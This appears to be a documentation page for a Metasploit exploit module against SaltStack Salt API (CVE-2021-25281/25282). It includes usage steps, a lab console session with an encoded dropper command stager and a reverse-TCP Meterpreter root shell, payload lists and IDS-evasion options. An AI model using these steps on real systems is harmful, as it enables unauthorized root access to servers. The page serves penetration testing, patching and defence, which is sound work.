SaltStack Salt API Unauthenticated RCE through wheel_async client - Metasploit
This page contains detailed information about how to use the exploit/linux/http/saltstack_salt_wheel_async_rce metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: SaltStack Salt API Unauthenticated RCE through wheel_async client
Module: exploit/linux/http/saltstack_salt_wheel_async_rce
Source code: modules/exploits/linux/http/saltstack_salt_wheel_async_rce.rb
Disclosure date: 2021-02-25
Last modification time: 2021-10-06 13:43:31 +0000
Supported architecture(s): cmd, x86, x64
Supported platform(s): Linux, Unix
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2021-25281, CVE-2021-25282
This module leverages an authentication bypass and directory
traversal vulnerabilities in Saltstack Salt's REST API to
execute commands remotely on the master as the root user.
Every 60 seconds, salt-master service performs a
maintenance process check that reloads and executes all the
grains on the master, including custom grain modules in
the Extension Module directory. So, this module simply
creates a Python script at this location and waits for it to
be executed. The time interval is set to 60 seconds by
default but can be changed in the master configuration
file with the loop_interval option. Note that, if an
administrator executes commands locally on the master, the
maintenance process check will also be performed. It has
been fixed in the following installation packages: 3002.5,
3001.6 and 3000.8. Also, a patch is available for the
following versions: 3002.2, 3001.4, 3000.6, 2019.2.8,
2019.2.5, 2018.3.5, 2017.7.8, 2016.11.10, 2016.11.6,
2016.11.5, 2016.11.3, 2016.3.8, 2016.3.6, 2016.3.4,
2015.8.13 and 2015.8.10. This module has been tested
successfully against versions 3001.4, 3002 and 3002.2 on
Ubuntu 18.04.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Reliability:
- repeatable-session: The module is expected to get a shell every time it runs.
Stability:
- crash-safe: Module should not crash the service.
Side Effects:
- ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
Basic Usage
msf > use exploit/linux/http/saltstack_salt_wheel_async_rce
msf exploit(saltstack_salt_wheel_async_rce) > exploit
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
Description
This module leverages an authentication bypass and directory traversal
vulnerabilities in Saltstack Salt's REST API to execute commands remotely on
the master as the root user.
Every 60 seconds, salt-master service performs a maintenance process check
that reloads and executes all the grains on the master, including custom
grain
modules
in the Extension Module directory (see EXTMODSDIR option). So,
this module simply creates a Python script at this location and waits for it to
be executed. The time interval is set to 60 seconds by default but can be
changed in the master configuration file with the loop_interval option.
Note that, if an administrator executes commands locally on the master, the
maintenance process check will also be performed.
It has been fixed in the following installation packages: 3002.5, 3001.6 and 3000.8
Also, a patch is available for the following versions: 3002.2, 3001.4, 3000.6, 2019.2.8, 2019.2.5, 2018.3.5, 2017.7.8, 2016.11.10, 2016.11.6, 2016.11.5, 2016.11.3, 2016.3.8, 2016.3.6, 2016.3.4, 2015.8.13 and 2015.8.10
This module has been tested successfully against versions 3001.4, 3002 and 3002.2 on Ubuntu 18.04
Setup
Follow the installation steps for Ubuntu (or choose another OS from the same page) and the REST API setup instructions.
Verification Steps
- Install the application (follow Setup)
- Start msfconsole
- Do:
use exploit/linux/http/saltstack_salt_wheel_async_rce - Do:
set rhosts <ip> - Do:
set lhost <ip> - Do:
run - You should get a Meterpreter session.
Targets
0 (Unix Command)
This executes a Unix command.
1 (Linux Dropper)
This uses a Linux dropper to execute code.
Options
TARGETURI
The base path of the Saltstack Salt application, which is set to / by
default.
EXTMODSDIR
The Extension Module directory ("extmods") for the master. On older versions,
this directory was /var/cache/salt/extmods by default. It has been moved to
/var/cache/salt/master/extmods from version 2016.3.0 and is the default
option value. Note that this path can be customized in the master
configuration file with the extension_modules option. The Python file will be
placed in the grains directory under this path. Salt automatically creates
the sub-directories if they don't exist.
Scenarios
SaltStack Salt 3002.2 on Ubuntu 18.04
msf6 > use exploit/linux/http/saltstack_salt_wheel_async_rce
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/http/saltstack_salt_wheel_async_rce) > set rhosts 192.168.144.188
rhosts => 192.168.144.188
msf6 exploit(linux/http/saltstack_salt_wheel_async_rce) > set lhost 192.168.144.1
lhost => 192.168.144.1
msf6 exploit(linux/http/saltstack_salt_wheel_async_rce) > set verbose true
verbose => true
msf6 exploit(linux/http/saltstack_salt_wheel_async_rce) > options
Module options (exploit/linux/http/saltstack_salt_wheel_async_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
EXTMODSDIR /var/cache/salt/master/extmods yes The Extension Module Directory ("extmods")
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.144.188 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
RPORT 8000 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes Base path
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.144.1 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
1 Linux Dropper
msf6 exploit(linux/http/saltstack_salt_wheel_async_rce) > run
[*] Started reverse TCP handler on 192.168.144.1:4444
[*] Executing automatic check (disable AutoCheck to override)
[!] The service is running, but could not be validated. Salt API responded as expected.
[*] Executing Linux Dropper for linux/x64/meterpreter/reverse_tcp
[*] Generated command stager: ["echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA+gAAAAAAAAB8AQAAAAAAAAAQAAAAAAAASDH/aglYmbYQSInWTTHJaiJBWrIHDwVIhcB4UWoKQVlQailYmWoCX2oBXg8FSIXAeDtIl0i5AgARXMCokAFRSInmahBaaipYDwVZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5x2o8WGoBXw8FXmp+Wg8FSIXAeO3/5g==>>'/tmp/WlZHG.b64' ; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)')) 2> /dev/null > '/tmp/ykmTR' < '/tmp/WlZHG.b64' ; chmod +x '/tmp/ykmTR' ; '/tmp/ykmTR' & sleep 2 ; rm -f '/tmp/ykmTR' ; rm -f '/tmp/WlZHG.b64'"]
[*] Executing command: echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA+gAAAAAAAAB8AQAAAAAAAAAQAAAAAAAASDH/aglYmbYQSInWTTHJaiJBWrIHDwVIhcB4UWoKQVlQailYmWoCX2oBXg8FSIXAeDtIl0i5AgARXMCokAFRSInmahBaaipYDwVZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5x2o8WGoBXw8FXmp+Wg8FSIXAeO3/5g==>>'/tmp/WlZHG.b64' ; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)')) 2> /dev/null > '/tmp/ykmTR' < '/tmp/WlZHG.b64' ; chmod +x '/tmp/ykmTR' ; '/tmp/ykmTR' & sleep 2 ; rm -f '/tmp/ykmTR' ; rm -f '/tmp/WlZHG.b64'
[*] Waiting up to 90 seconds for the Salt maintenance process check to trigger the payload (WfsDelay option).
[*] Command Stager progress - 102.16% done (851/833 bytes)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3008420 bytes) to 192.168.144.188
[+] Deleted /var/cache/salt/master/extmods/grains/lUhZUGix.py
[+] Deleted /var/cache/salt/master/extmods/grains/__pycache__/lUhZUGix.cpython-36.pyc
[*] Meterpreter session 1 opened (192.168.144.1:4444 -> 192.168.144.188:42792) at 2021-03-26 14:58:16 +0100
meterpreter > getuid
Server username: root @ ubuntu (uid=0, gid=0, euid=0, egid=0)
meterpreter > sysinfo
Computer : 192.168.144.188
OS : Ubuntu 18.04 (Linux 5.4.0-70-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
Go back to menu.
Msfconsole Usage
Here is how the linux/http/saltstack_salt_wheel_async_rce exploit module looks in the msfconsole:
msf6 > use exploit/linux/http/saltstack_salt_wheel_async_rce
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/http/saltstack_salt_wheel_async_rce) > show info
Name: SaltStack Salt API Unauthenticated RCE through wheel_async client
Module: exploit/linux/http/saltstack_salt_wheel_async_rce
Platform: Unix, Linux
Arch: cmd, x86, x64
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2021-02-25
Provided by:
Alex Seymour
Christophe De La Fuente
Module side effects:
ioc-in-logs
Module stability:
crash-safe
Module reliability:
repeatable-session
Available targets:
Id Name
-- ----
0 Unix Command
1 Linux Dropper
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
EXTMODSDIR /var/cache/salt/master/extmods yes The Extension Module Directory ("extmods")
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8000 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes Base path
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload information:
Description:
This module leverages an authentication bypass and directory
traversal vulnerabilities in Saltstack Salt's REST API to execute
commands remotely on the `master` as the root user. Every 60
seconds, `salt-master` service performs a maintenance process check
that reloads and executes all the `grains` on the `master`,
including custom grain modules in the Extension Module directory.
So, this module simply creates a Python script at this location and
waits for it to be executed. The time interval is set to 60 seconds
by default but can be changed in the `master` configuration file
with the `loop_interval` option. Note that, if an administrator
executes commands locally on the `master`, the maintenance process
check will also be performed. It has been fixed in the following
installation packages: 3002.5, 3001.6 and 3000.8. Also, a patch is
available for the following versions: 3002.2, 3001.4, 3000.6,
2019.2.8, 2019.2.5, 2018.3.5, 2017.7.8, 2016.11.10, 2016.11.6,
2016.11.5, 2016.11.3, 2016.3.8, 2016.3.6, 2016.3.4, 2015.8.13 and
2015.8.10. This module has been tested successfully against versions
3001.4, 3002 and 3002.2 on Ubuntu 18.04.
References:
https://nvd.nist.gov/vuln/detail/CVE-2021-25281
https://nvd.nist.gov/vuln/detail/CVE-2021-25282
https://saltproject.io/security_announcements/active-saltstack-cve-release-2021-feb-25/
https://github.com/Immersive-Labs-Sec/CVE-2021-25281/blob/main/cve-2021-25281.py
Module Options
This is a complete list of options available in the linux/http/saltstack_salt_wheel_async_rce exploit:
msf6 exploit(linux/http/saltstack_salt_wheel_async_rce) > show options
Module options (exploit/linux/http/saltstack_salt_wheel_async_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
EXTMODSDIR /var/cache/salt/master/extmods yes The Extension Module Directory ("extmods")
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8000 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes Base path
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
1 Linux Dropper
Advanced Options
Here is a complete list of advanced options supported by the linux/http/saltstack_salt_wheel_async_rce exploit:
msf6 exploit(linux/http/saltstack_salt_wheel_async_rce) > show advanced
Module advanced options (exploit/linux/http/saltstack_salt_wheel_async_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoCheck true no Run check before exploit
CMDSTAGER::DECODER no The decoder stub to use.
CMDSTAGER::FLAVOR bourne no The CMD Stager to use. (Accepted: auto, bourne, debug_asm, debug_write, echo, printf, vbs, vbs_adodb, certutil, tftp, wget, curl, fetch, lwprequest, psh_i
nvokewebrequest)
CMDSTAGER::SSL false no Use SSL/TLS for supported stagers
CMDSTAGER::TEMP no Writable directory for staged files
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FileDropperDelay no Delay in seconds before attempting cleanup
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
ForceExploit false no Override check result
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
ListenerComm no The specific communication channel to use for this service
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 90 no Additional delay in seconds to wait for a session
Payload advanced options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AppendExit false no Append a stub that executes the exit(0) system call
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
MeterpreterDebugLevel 0 yes Set debug level for meterpreter 0-3 (Default output is strerr)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PrependChrootBreak false no Prepend a stub that will break out of a chroot (includes setreuid to root)
PrependFork false no Prepend a stub that starts the payload in its own process via fork
PrependSetgid false no Prepend a stub that executes the setgid(0) system call
PrependSetregid false no Prepend a stub that executes the setregid(0, 0) system call
PrependSetresgid false no Prepend a stub that executes the setresgid(0, 0, 0) system call
PrependSetresuid false no Prepend a stub that executes the setresuid(0, 0, 0) system call
PrependSetreuid false no Prepend a stub that executes the setreuid(0, 0) system call
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
RemoteMeterpreterDebugFile no Redirect Debug Info to a Log File
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/http/saltstack_salt_wheel_async_rce module can exploit:
msf6 exploit(linux/http/saltstack_salt_wheel_async_rce) > show targets
Exploit targets:
Id Name
-- ----
0 Unix Command
1 Linux Dropper
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/http/saltstack_salt_wheel_async_rce exploit:
msf6 exploit(linux/http/saltstack_salt_wheel_async_rce) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/debug_trap normal No Generic x86 Debug Trap
2 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
3 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
4 payload/generic/tight_loop normal No Generic x86 Tight Loop
5 payload/linux/x64/exec normal No Linux Execute Command
6 payload/linux/x64/meterpreter/bind_tcp normal No Linux Mettle x64, Bind TCP Stager
7 payload/linux/x64/meterpreter/reverse_tcp normal No Linux Mettle x64, Reverse TCP Stager
8 payload/linux/x64/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
9 payload/linux/x64/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
10 payload/linux/x64/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
11 payload/linux/x64/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager
12 payload/linux/x64/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
13 payload/linux/x64/shell_bind_ipv6_tcp normal No Linux x64 Command Shell, Bind TCP Inline (IPv6)
14 payload/linux/x64/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
15 payload/linux/x64/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
16 payload/linux/x64/shell_reverse_ipv6_tcp normal No Linux x64 Command Shell, Reverse TCP Inline (IPv6)
17 payload/linux/x64/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
18 payload/linux/x86/adduser normal No Linux Add User
19 payload/linux/x86/chmod normal No Linux Chmod
20 payload/linux/x86/exec normal No Linux Execute Command
21 payload/linux/x86/meterpreter/bind_ipv6_tcp normal No Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
22 payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid normal No Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
23 payload/linux/x86/meterpreter/bind_nonx_tcp normal No Linux Mettle x86, Bind TCP Stager
24 payload/linux/x86/meterpreter/bind_tcp normal No Linux Mettle x86, Bind TCP Stager (Linux x86)
25 payload/linux/x86/meterpreter/bind_tcp_uuid normal No Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
26 payload/linux/x86/meterpreter/reverse_ipv6_tcp normal No Linux Mettle x86, Reverse TCP Stager (IPv6)
27 payload/linux/x86/meterpreter/reverse_nonx_tcp normal No Linux Mettle x86, Reverse TCP Stager
28 payload/linux/x86/meterpreter/reverse_tcp normal No Linux Mettle x86, Reverse TCP Stager
29 payload/linux/x86/meterpreter/reverse_tcp_uuid normal No Linux Mettle x86, Reverse TCP Stager
30 payload/linux/x86/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
31 payload/linux/x86/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
32 payload/linux/x86/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
33 payload/linux/x86/metsvc_bind_tcp normal No Linux Meterpreter Service, Bind TCP
34 payload/linux/x86/metsvc_reverse_tcp normal No Linux Meterpreter Service, Reverse TCP Inline
35 payload/linux/x86/read_file normal No Linux Read File
36 payload/linux/x86/shell/bind_ipv6_tcp normal No Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
37 payload/linux/x86/shell/bind_ipv6_tcp_uuid normal No Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
38 payload/linux/x86/shell/bind_nonx_tcp normal No Linux Command Shell, Bind TCP Stager
39 payload/linux/x86/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager (Linux x86)
40 payload/linux/x86/shell/bind_tcp_uuid normal No Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
41 payload/linux/x86/shell/reverse_ipv6_tcp normal No Linux Command Shell, Reverse TCP Stager (IPv6)
42 payload/linux/x86/shell/reverse_nonx_tcp normal No Linux Command Shell, Reverse TCP Stager
43 payload/linux/x86/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
44 payload/linux/x86/shell/reverse_tcp_uuid normal No Linux Command Shell, Reverse TCP Stager
45 payload/linux/x86/shell_bind_ipv6_tcp normal No Linux Command Shell, Bind TCP Inline (IPv6)
46 payload/linux/x86/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
47 payload/linux/x86/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
48 payload/linux/x86/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
49 payload/linux/x86/shell_reverse_tcp_ipv6 normal No Linux Command Shell, Reverse TCP Inline (IPv6)
Evasion Options
Here is the full list of possible evasion options supported by the linux/http/saltstack_salt_wheel_async_rce exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/http/saltstack_salt_wheel_async_rce) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Target did not respond to check.
Here is a relevant code snippet related to the "Target did not respond to check." error message:
113: def check
114: fun = 'config.values'
115: res = send_request(fun: fun)
116:
117: unless res
118: return CheckCode::Unknown('Target did not respond to check.')
119: end
120:
121: # Server: CherryPy/8.9.1
122: unless res.headers['Server']&.match(%r{^CherryPy/[\d.]+$})
123: return CheckCode::Unknown('Target does not appear to be running Salt API.')
Target does not appear to be running Salt API.
Here is a relevant code snippet related to the "Target does not appear to be running Salt API." error message:
118: return CheckCode::Unknown('Target did not respond to check.')
119: end
120:
121: # Server: CherryPy/8.9.1
122: unless res.headers['Server']&.match(%r{^CherryPy/[\d.]+$})
123: return CheckCode::Unknown('Target does not appear to be running Salt API.')
124: end
125:
126: if res.code == 200 && res.get_json_document['return']
127: res_json = res.get_json_document['return'].first
128: if res_json&.key?('tag') && res_json&.key?('jid')
Salt API responded as expected.
Here is a relevant code snippet related to the "Salt API responded as expected." error message:
124: end
125:
126: if res.code == 200 && res.get_json_document['return']
127: res_json = res.get_json_document['return'].first
128: if res_json&.key?('tag') && res_json&.key?('jid')
129: return CheckCode::Detected('Salt API responded as expected.')
130: end
131: end
132:
133: CheckCode::Safe('Unexpected Salt API response')
134: end
Unexpected Salt API response
Here is a relevant code snippet related to the "Unexpected Salt API response" error message:
128: if res_json&.key?('tag') && res_json&.key?('jid')
129: return CheckCode::Detected('Salt API responded as expected.')
130: end
131: end
132:
133: CheckCode::Safe('Unexpected Salt API response')
134: end
135:
136: def exploit
137: print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
138:
Unable to delete <FILE_PATH>
Here is a relevant code snippet related to the "Unable to delete <FILE_PATH>" error message:
227: next unless path_exists?(session, file_path)
228:
229: session.fs.file.rm(file_path)
230:
231: if path_exists?(session, file_path)
232: print_warning("Unable to delete #{file_path}")
233: else
234: print_good("Deleted #{file_path}")
235: end
236: end
237: else
Unable to delete <FILE>
Here is a relevant code snippet related to the "Unable to delete <FILE>" error message:
246: next unless path_exists?(session, file)
247:
248: session.shell_command_token("rm -f \"#{file}\" >/dev/null")
249:
250: if path_exists?(session, file)
251: print_warning("Unable to delete #{file}")
252: else
253: print_good("Deleted #{file}")
254: end
255: end
256: end
Go back to menu.
Related Pull Requests
- #15556 Merged Pull Request: Add shell support to enum_unattended module
- #15564 Merged Pull Request: Update post_common mixin methods to support powershell session type
- #15570 Merged Pull Request: Fix smb enum gpp module
- #15546 Merged Pull Request: Fix #15480, fix IgnoreUnknownPayloads for stageless reverse_http payloads
- #15561 Merged Pull Request: Add an exploit for ProxyShell
- #15525 Merged Pull Request: Add Lucee Administrator CVE-2021-21307 exploit
- #15332 Merged Pull Request: fix a localization issue and some other minor issues in
rename_filemethod - #15540 Merged Pull Request: Add option for running
cmd_executein a subshell - #15303 Merged Pull Request: Fix
dirmethod for windows shell sessions - #15547 Merged Pull Request: Bump rex-text to 0.2.36
References
- CVE-2021-25281
- CVE-2021-25282
- https://saltproject.io/security_announcements/active-saltstack-cve-release-2021-feb-25/
- https://github.com/Immersive-Labs-Sec/CVE-2021-25281/blob/main/cve-2021-25281.py
See Also
Check also the following modules related to this module:
- exploit/linux/http/saltstack_salt_api_cmd_exec
- exploit/linux/misc/saltstack_salt_unauth_rce
- auxiliary/gather/saltstack_salt_root_key
- post/multi/gather/saltstack_salt
- exploit/multi/misc/weblogic_deserialize_asyncresponseservice
- exploit/windows/ftp/aasync_list_reply
Related Nessus plugins:
- Debian DLA-2480-2 : salt regression update
- Photon OS 3.0: Salt3 PHSA-2021-3.0-0200
- Photon OS 1.0: Salt3 PHSA-2021-1.0-0364
- Photon OS 1.0: Salt PHSA-2021-1.0-0364
- SUSE SLES15 Security Update : salt (SUSE-SU-2021:0631-1)
- openSUSE Security Update : salt (openSUSE-2021-347)
- SUSE SLED15 / SLES15 Security Update : salt (SUSE-SU-2021:0630-1)
- SUSE SLES15 Security Update : salt (SUSE-SU-2021:0628-1)
- FreeBSD : salt -- multiple vulnerabilities (a1e03a3d-7be0-11eb-b392-20cf30e32f6d)
- SaltStack < 3002.5 Multiple Vulnerabilities
Authors
- Alex Seymour
- Christophe De La Fuente
Version
This page has been produced using Metasploit Framework version 6.1.27-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.
